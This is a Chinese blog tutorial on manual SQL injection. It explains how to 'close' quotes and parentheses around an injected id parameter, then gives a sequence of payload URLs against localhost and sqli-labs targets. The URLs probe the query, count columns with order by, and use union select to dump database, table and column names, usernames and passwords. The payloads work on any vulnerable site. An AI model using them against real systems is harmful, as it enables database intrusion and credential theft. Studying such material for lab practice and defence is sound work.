侧边栏

数据库手工注入中的闭合(七步)

数据库手工注入中的闭合

1、什么是闭合?

闭合:这个语句可以完整正确的执行
后台服务器PHP代码:

$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = ('$id') LIMIT 0,1";

$id两侧必须要闭合,代码才可以正确执行
数据库代码:

select * from users where id = $id limit 0,1;
select * from users where id = '$id' limit 0,1;
select * from users where id = ('$id') limit 0,1;

2、为什么闭合这么重要

sql注入,我们要注入到自己的sql语句,
如果注入后,破坏了原有的闭合,那么注入也会失败,所以闭合很重要,决定了最后是否可以注入成功。
举例:

$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";

$id = 1' 0r 1=1 --+ --+ 注释'后面的数据
$sql
= "SELECT * FROM users WHERE id = '1' or 1=1 --+' LIMIT 0,1";

解释

复制代码
在选择注入点的时候,我们通常会选择类似与这样的URL:http://127.0.0.1/index.html?id=1。。。
对于这样的语句我们不难发现?后面的id是需要查询数据库的。
那么 我们判断这里有可能是一个SQL的注入点,然后我们就需要针对这条URL来进行注入点的判断了。 在进行注入点的判断的第一步,我们需要对?后面的id
=1来进行分析。。。
首先,我们需要知道 在后端代码程序当中,id=1--->id="$id" 。。。
这里的1是一个变量,由我们的$id来决定的,当我们注入的时候,也就是改变$id的值,,
这个值最终是需要流回到后端的代码当中,这里就需我们来探测$id的闭合了。。。
如果$id是一个常量,我们要知道,在编程代码的是时候,常量$id是不需要加'' 或者是()的,这样我们就会很开心,这里不需要闭合,
直接输入一个参数就可以了。。。 但是如果这个$id被()或者(
'')包含,当我们改变$id的值的时候,就会发现有报错的现象,这是因为我们的$id值没有形成闭合,代码无法正常执行。
所以就需要我们在后面加')或者是其他的值来使这条语句闭合。。
复制代码

后面的--+ 的意思则是:在sql当中 -- 是一种注释的功能,我们将写入-- 是用来把$id后面的’或者)给注释掉的,防止影响前面的闭合。。。

闭合七步走

复制代码
http://127.0.0.1/ry.php?ry_id=1
http://127.0.0.1/ry.php?ry_id=1'
http://127.0.0.1/ry.php?ry_id=1' -- -
http://127.0.0.1/ry.php?ry_id=1 -- -
http://127.0.0.1/ry.php?ry_id=1 and 1=1-- -
http://127.0.0.1/ry.php?ry_id=1 and 1=2-- -
http://127.0.0.1/ry.php?ry_id=1 order by 1-- -
http://127.0.0.1/ry.php?ry_id=1 order by 1,2-- -
http://127.0.0.1/ry.php?ry_id=1 order by 1,2,3-- -
http://127.0.0.1/ry.php?ry_id=1 order by 1,2,3,4-- -
http://127.0.0.1/ry.php?ry_id=1 order by 1,2,3,4,5-- -
http://127.0.0.1/ry.php?ry_id=1 union select 1,2,3,4-- -
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,3,4-- -
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,version(),database()-- -
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,version(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,version(),group_concat(column_name) from information_schema.columns where table_schema=database()-- -

http://127.0.0.1/Less-1/?id=-2 union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users'-- -
http://127.0.0.1/Less-1/?id=-2 union select 1,version(),group_concat(id,0x23,username,0x23,password) from users-- -
http://127.0.0.1/Less-1/?id=-2 union select 1,version(),group_concat(id,' ',username,0x23,password) from users-- -
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,version(),group_concat(l_id,l_title,l_lynr,l_time,l_ip,l_ckroot,l_name,l_mail) from book -- -
复制代码
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,version(),group_concat(column_name) from information_schema.columns where table_schema=database()and table_name='root'-- -
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -

常见的闭合方式

'$id'
"$id"
('$id' )
("$id")
(('id'))
posted @   菜鸟-传奇  阅读(3346)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)
历史上的今天:
2019-08-21 博客园自定义推荐
点击右上角即可分享
微信分享提示